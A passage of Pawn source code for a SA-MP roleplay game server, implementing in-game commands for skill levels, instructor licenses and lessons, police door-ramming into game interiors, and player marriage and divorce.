					else if(level >= 200 && level <= 399) { SendMessage(playerid, COLOR_YELLOW, "Your New Reporter Skill Level = 4."); format(string, sizeof(string), "You need to use /news %d times people to Level up.", 400 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 400) { SendMessage(playerid, COLOR_YELLOW, "Your New Reporter Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"6",true) == 0)//Car Mechanic
				{
					new level = PlayerInfo[playerid][pMechSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Car Mechanic Skill Level = 1."); format(string, sizeof(string), "You need to repair/refill a car for %d times more to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Car Mechanic Skill Level = 2."); format(string, sizeof(string), "You need to repair/refill a car for %d times people to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your Car Mechanic Skill Level = 3."); format(string, sizeof(string), "You need to repair/refill a car for %d times people to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200 && level <= 399) { SendMessage(playerid, COLOR_YELLOW, "Your Car Mechanic Skill Level = 4."); format(string, sizeof(string), "You need to repair/refill a car for %d times people to Level up.", 400 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 400) { SendMessage(playerid, COLOR_YELLOW, "Your Car Mechanic Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"7",true) == 0)//Arms Dealer
				{
					new level = PlayerInfo[playerid][pMatsSkill];
					if(level >= 0 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill Level = 1."); format(string, sizeof(string), "You need to Deliver package for %d times more to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill Level = 2."); format(string, sizeof(string), "You need to Deliver package for %d times more to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100 && level <= 199) { SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill Level = 3."); format(string, sizeof(string), "You need to Deliver package for %d times more to Level up.", 200 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 200 && level <= 299) { SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill Level = 4."); format(string, sizeof(string), "You need to Deliver package for %d times more to Level up.", 300 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 300) { SendMessage(playerid, COLOR_YELLOW, "Your Arms Dealer Skill Level = 5."); }
				}
				else if(strcmp(x_nr,"8",true) == 0)//Robbing
				{
					new level = PlayerInfo[playerid][pRobSkill];
					if(level >= 0 && level <= 19) { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill Level = 1."); format(string, sizeof(string), "You need to Rob the City Bank %d more times to Level up.", 20 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 20 && level <= 49) { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill Level = 2."); format(string, sizeof(string), "You need to Rob the City Bank %d more times to Level up.", 50 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 50 && level <= 74) { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill Level = 3."); format(string, sizeof(string), "You need to Rob the City Bank %d more times to Level up.", 75 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 75 && level <= 99) { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill Level = 4."); format(string, sizeof(string), "You need to Rob the City Bank %d more times to Level up.", 100 - level); SendMessage(playerid, COLOR_YELLOW, string); }
					else if(level >= 100) { SendMessage(playerid, COLOR_YELLOW, "Your Rob Skill Level = 5."); }
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "Invalid Skill Number.");
					return 1;
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/givelicense", true) == 0 || strcmp(cmd, "/gl", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAnInstructor(playerid))
				{
					if(PlayerInfo[playerid][pRank] <= 2)
					{
						SendMessage(playerid, COLOR_LIGHTBLUE, "Only Rank 2 or higher can give away a License.");
						return 1;
					}
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr)) {
						SendMessage(playerid, COL_SYN, "Syntax: /givelicense [name] <Playerid/PartOfName>");
						SendMessage(playerid, COLOR_WHITE, "Available names: Flying, Sailing, Fishing, Weapon, Materials.");
						return 1;
					}

					else if(strcmp(x_nr,"flying",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /givelicense flying <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pFlyLic] >= 51)return Error(playerid, "Error: You can't give this license to this player.")
							if(PINFO[giveplayerid][pFlyLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Flying license to that player because his flying license is suspended.");
							if(PINFO[giveplayerid][pFlyLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Flying license to that player because her flying license is suspended.");
				        		GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s given a Flying License to %s.",sendername,giveplayer);
								SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
								format(string, sizeof(string), "Instructor %s has given you a Flying License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pFlyLic] = 300;
								SaveKonVal(giveplayerid, "pFlyLic", 300);
				                PlayerInfo[playerid][pFAct2] += 1;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREEN, "That player is Offline.");
							return 1;
						}
					}
					else if(strcmp(x_nr,"sailing",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /givelicense sailing <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pBoatLic] >= 51)return Error(playerid, "Error: You can't give this license to this player.")
							if(PINFO[giveplayerid][pBoatLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Sailing license to that player because his Sailing license is suspended.");
							if(PINFO[giveplayerid][pBoatLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Sailing license to that player because her Sailing license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s given a Sailing License to %s.",sendername,giveplayer);
								SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
								format(string, sizeof(string), "Instructor %s has given you a Sailing License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pBoatLic] = 300;
								SaveKonVal(giveplayerid, "pBoatLic", 300);
				                PlayerInfo[playerid][pFAct2] += 1;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREEN, "That player is Offline.");
							return 1;
						}
					}
					else if(strcmp(x_nr,"weapon",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /givelicense weapon <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pGunLic] >= 51)return Error(playerid, "Error: You can't give this license to this player.")
							if(PINFO[giveplayerid][pGunLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Weapon license to that player because his Weapon license is suspended.");
							if(PINFO[giveplayerid][pGunLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Weapon license to that player because her Weapon license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s given a weapon License to %s.",sendername,giveplayer);
								SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
								format(string, sizeof(string), "Instructor %s has given you a weapon License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pGunLic] = 300;
								SaveKonVal(giveplayerid, "pGunLic", 300);
				                PlayerInfo[playerid][pFAct2] += 1;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREEN, "That player is Offline.");
							return 1;
						}
				}
					else if(strcmp(x_nr,"fishing",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /givelicense fishing <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pFishLic] >= 51)return Error(playerid, "Error: You can't give this license to this player.")
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s given a Fishing License to %s.",sendername,giveplayer);
								SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
								format(string, sizeof(string), "Instructor %s has given you a Fishing License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pFishLic] = 300;
								SaveKonVal(giveplayerid, "pFishLic", 300);
				                PlayerInfo[playerid][pFAct2] += 1;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREEN, "That player is Offline.");
							return 1;
						}
					}

				else if(strcmp(x_nr,"materials",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /givelicense materials <Playerid/PartOfName>");
							return 1;
						}
						giveplayerid = ReturnUser6(tmp);
						if(IsPlayerConnected(giveplayerid))
						{
							if(giveplayerid != INVALID_PLAYER_ID)
							{
							if(PINFO[giveplayerid][pMatsLic] >= 51)return Error(playerid, "Error: You can't give this license to this player.")
							if(PINFO[giveplayerid][pMatsLicS] > 0 && PINFO[giveplayerid][pSex] == 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Materials license to that player because his Materials license is suspended.");
							if(PINFO[giveplayerid][pMatsLicS] > 0 && PINFO[giveplayerid][pSex] != 1) return SCM(playerid,COLOR_LIGHTBLUE,"You cannot give a Materials license to that player because her Materials license is suspended.");
								GetPlayerName(playerid, sendername, sizeof(sendername));
								GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
								format(string, sizeof(string), "%s given a materials License to %s.",sendername,giveplayer);
								SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
								format(string, sizeof(string), "Instructor %s has given you a materials License.",sendername);
								SendMessage(giveplayerid, COLOR_LIGHTBLUE, string);
								PlayerInfo[giveplayerid][pMatsLic] = 300;
								SaveKonVal(giveplayerid, "pMatsLic", 300);
				                PlayerInfo[playerid][pFAct2] += 1;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREEN, "That player is Offline.");
							return 1;
						}
				}
				else
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a School Instructor.");
					return 1;
				}
			}

			else
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not a School Instructor.");
					return 1;
				}
				return 1;
		}
	}
		if(strcmp(cmd, "/startlesson", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAnInstructor(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /startlesson <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							format(string, sizeof(string), "%s started %s's Lesson.",sendername,giveplayer);
							SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
							format(string, sizeof(string), "Instructor %s has started your Lesson.",sendername);
							SendMessage(giveplayerid, COLOR_WHITE, string);
							TakingsiLesson[giveplayerid] = 1;
				            PlayerInfo[playerid][pFAct1] += 1;
				            SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a School Instructor !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/stoplesson", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAnInstructor(playerid))
				{
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /stoplesson <Playerid/PartOfName>");
						return 1;
					}
					giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							if(TakingsiLesson[giveplayerid] != 1)
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not taking a Lesson !");
								return 1;
							}
							GetPlayerName(playerid, sendername, sizeof(sendername));
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							format(string, sizeof(string), "%s stopped %s's Lesson.",sendername,giveplayer);
							SendFamilyMessage(11, COLOR_LIGHTBLUE, string, string);
							format(string, sizeof(string), "Instructor %s has stopped your Lesson.",sendername);
							SendMessage(giveplayerid, COLOR_WHITE, string);
							TakingsiLesson[giveplayerid] = 0;
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   You are not a School Instructor !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/ram", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] == TEAM_COP || PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pMember] == 1 || PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pMember] == 3
				|| PINFO[playerid][pMember] == 8 || PINFO[playerid][pLeader] == 8 || PINFO[playerid][pMember] == 17 || PINFO[playerid][pLeader] == 17 || PINFO[playerid][pAdmin] >= 3 || PINFO[playerid][pLeader] >= 7)
				{
					if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 8 && PINFO[playerid][pMember] != 8 && PINFO[playerid][pLeader] != 17 && PINFO[playerid][pMember] != 17) return SCM(playerid,COLOR_BLUE,"You are not On-Duty.");
					GameTextForPlayer(playerid, "~r~Breached the door", 5000, 1);
					for(new house = 0; house < sizeof(HouseInfo); house++)
					{
						if (PlayerToPoint(4.0, playerid,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz]))
						{
							SetPlayerInterior(playerid,HouseInfo[house][hInt]);
							SetPlayerVirtualWorld(playerid,HouseInfo[house][hWorld]);
							SetPlayerPos(playerid,HouseInfo[house][hEntrancex],HouseInfo[house][hEntrancey],HouseInfo[house][hEntrancez]);
							Mahal[playerid] = 3;
							TooHouse[playerid] = house;
							TooBiz[playerid] = 9999;
						    format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into house id %d.", GetPlayerRank(playerid),PlayerInfo[playerid][pName], house);
						    SendFamilyMessage(1, COLOR_BLUE, string);
						    SendFamilyMessage(2, COLOR_BLUE, string);
						    SendFamilyMessage(3, COLOR_BLUE, string);
						    SendFamilyMessage(8, COLOR_BLUE, string);
						}
					}
					for(new bizid = 0; bizid < sizeof(BizzInfo); bizid++)
					{
						if (PlayerToPoint(4.0, playerid,BizzInfo[bizid][bEntranceX],BizzInfo[bizid][bEntranceY],BizzInfo[bizid][bEntranceZ]))
						{
							SetPlayerInterior(playerid,BizzInfo[bizid][bInterior]);
							SetPlayerPos(playerid,BizzInfo[bizid][bExitX],BizzInfo[bizid][bExitY],BizzInfo[bizid][bExitZ]);
							Mahal[playerid] = 15;
							TooHouse[playerid] = 9999;
							SetPlayerVirtualWorld(playerid,BizzInfo[bizid][bVW]);
							TooBiz[playerid] = bizid;
							if(bizid<500)
							{
						    format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into business id %d.", GetPlayerRank(playerid),PlayerInfo[playerid][pName], bizid);
							}
							if(bizid>=500)
							{
							new bizidex = bizid-500;
						    format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into special business id %d.", GetPlayerRank(playerid),PlayerInfo[playerid][pName], bizidex);
							}
							SendFamilyMessage(1, COLOR_BLUE, string);
						    SendFamilyMessage(2, COLOR_BLUE, string);
						    SendFamilyMessage(3, COLOR_BLUE, string);
						    SendFamilyMessage(8, COLOR_BLUE, string);
						}
					}
					if (PlayerToPoint(5, playerid, 2792.930175,-1087.530761,30.718750))
					{
						SetPlayerPos(playerid ,1701.530639, -1667.804565, 20.218750);
						SetPlayerInterior(playerid, 18);
						Mahal[playerid] = 11;
						SetPlayerVirtualWorld(playerid, 40015);
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Storm Men Family HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if (PlayerToPoint(2, playerid, 2637.1936,2352.0090,10.8203))
					{
						SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
						SetPlayerVirtualWorld(playerid, 40012);
						SetPlayerInterior(playerid, 5);
						Mahal[playerid] = 12;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Dangerous Tigers Family HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if (PlayerToPoint(2, playerid, 1455.4546,750.9794,11.0234))
					{
						SetPlayerPos(playerid, 2324.611328, -1146.620605, 1050.710083);
						SetPlayerVirtualWorld(playerid, 40014);
						SetPlayerInterior(playerid, 12);
						SetPlayerVirtualWorld(playerid, 62);
						Mahal[playerid] = 8;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Fast N Furious Family HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if (PlayerToPoint(2, playerid, 1122.7065,-2037.0063,69.8942))
					{
						SetPlayerPos(playerid, 1701.530639, -1667.804565, 20.218750);
						SetPlayerVirtualWorld(playerid, 40013);
						SetPlayerInterior(playerid, 18);
						SetPlayerVirtualWorld(playerid, 61);
						Mahal[playerid] = 13;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Legendary Men Family HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
				 if (PlayerToPoint(2, playerid, 2324.500000,-1148.900024,1050.710083))
					{
						SetPlayerPos(playerid, 2560.805175,1561.846069,10.820312);
						SetPlayerInterior(playerid, 12);
						SetPlayerVirtualWorld(playerid, 950);
						Mahal[playerid] = 199;
						TooHouse[playerid] = 950;
						TooBiz[playerid] = 9999;
						return 1;
					}
					if(PlayerToPoint(2, playerid,725.5550,-1451.0232,17.6953))
					{
						SetPlayerPos(playerid, 140.279296, 1367.209716, 1083.861206);
						SetPlayerVirtualWorld(playerid, 4005);
						SetPlayerInterior(playerid, 5);
						Mahal[playerid] = 7;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Silence Mafia HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if (PlayerToPoint(2, playerid,1456.7424,2773.4614,10.8203))
					{
						SetPlayerPos(playerid, 1298.830810,-795.336669,1084.007812);
						SetPlayerVirtualWorld(playerid, 4006);
						SetPlayerInterior(playerid, 5);
						Mahal[playerid] = 9;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into The Killers Family HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if(PlayerToPoint(2, playerid,1080.997192,-345.408233,73.984069))
					{
						SetPlayerPos(playerid, 1701.744262,-1667.856689,20.218750);
						SetPlayerVirtualWorld(playerid, 54);
						SetPlayerInterior(playerid, 18);
						Mahal[playerid] = 10;TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Hitman Agency HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if (PlayerToPoint(5, playerid,937.3935,1733.2067,8.8516))
					{
						SetPlayerPos(playerid, 1494.325195,1304.942871,1093.289062);
						SetPlayerInterior(playerid, 3);
						SetPlayerVirtualWorld(playerid, 70);
						Mahal[playerid] = 14;TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Taxi Drivers HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
					if(PTP(5,playerid,1607.520996,1815.756591,10.820312))
					{
					   SetPlayerPos(playerid,1494.325195,1304.942871,1093.289062);
					   SetPlayerInterior(playerid,3);
					   SetPlayerVirtualWorld(playerid,71);
					   Mahal[playerid] = 70;TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Medic HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
					   return 1;
					}
					if(PTP(5,playerid,-329.8395,1536.6249,76.6117))
					{
						SetPlayerPos(playerid,1494.325195,1304.942871,1093.289062);
						SetPlayerInterior(playerid,3);
						SetPlayerVirtualWorld(playerid,72);
						Mahal[playerid] = 71;TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						return 1;
					}
					if(PTP(3,playerid,852.4714,-1436.4944,15.0437))// ram on hacker
					{
						SetPlayerPos(playerid,373.697601, 106.429779, 1027.251220);
						SetPlayerInterior(playerid,0);
						SetPlayerVirtualWorld(playerid,40017);
						Mahal[playerid] = 1685;TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;
						FreezePlayer(playerid);
						format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s rammed into Unknowns HQ.", GetPlayerRank(playerid),PlayerInfo[playerid][pName]);
						SendFamilyMessage(1, COLOR_BLUE, string);
						SendFamilyMessage(2, COLOR_BLUE, string);
						SendFamilyMessage(3, COLOR_BLUE, string);
						SendFamilyMessage(8, COLOR_BLUE, string);
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "You are not a cop or hitman.");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/divorce",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(!strcmp(PINFO[playerid][pMarriedTo],"No-one",true))
				{
					SendMessage(playerid, COLOR_GREY, "You aren't Married !");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) {
					SendMessage(playerid, COL_SYN, "Syntax: /divorce <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Propose to yourself!"); return 1; }
							new dstring[MAX_PLAYER_NAME];
							new wstring[MAX_PLAYER_NAME];
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "%s", giveplayer);
							strmid(wstring, string, 0, strlen(string), 255);
							format(string, sizeof(string), "%s", PlayerInfo[playerid][pMarriedTo]);
							strmid(dstring, string, 0, strlen(string), 255);
							if(strcmp(dstring ,wstring, true ) == 0 )
							{
								format(string, sizeof(string), "* You've sent Divorce Papers to %s.", giveplayer);
								SendMessage(playerid, COLOR_WHITE, string);
								format(string, sizeof(string), "* %s just sent you Divorce Papers (type /[acc]ept divorce) to accept.", sendername);
								SendMessage(giveplayerid, COLOR_WHITE, string);
								DivorceOffer[giveplayerid] = playerid;
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "   That player is not Married to you !");
								return 1;
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GREY, "   That player is not near you !");
							return 1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "   That player is Offline !");
					return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd,"/propose",true)==0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerPool(playerid) < 1000)
				{
					SendMessage(playerid, COLOR_GREY, "The Marriage & Reception costs $1,000.");
					return 1;
				}
				if(strcmp(PINFO[playerid][pMarriedTo],"No-one",true))
				{
					SendMessage(playerid, COLOR_GREY, "You are already Married !");
					return 1;
				}
				if(PlayerInfo[playerid][pPhousekey] == 9999)
				{
					SendMessage(playerid, COLOR_GREY, "You haven't a House to let your Wife / Hasband live somewhere !");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) {
					SendMessage(playerid, COL_SYN, "Syntax: /propose <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if(strcmp(PINFO[giveplayerid][pMarriedTo],"No-one",true))
						{
							SendMessage(playerid, COLOR_GREY, "That player is already Married !");
							return 1;
						}
						if (ProxDetectorS(8.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid) { SendMessage(playerid, COLOR_GREY, "You cannot Propose to yourself!"); return 1; }
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, sizeof(string), "* You proposed to %s.", giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
							format(string, sizeof(string), "* %s just proposed to you (type /[acc]ept marriage) to accept.", sendername);
							SendMessage(giveplayerid, COLOR_WHITE, string);
							ProposeOffer[giveplayerid] = playerid;
						}
						else
						{
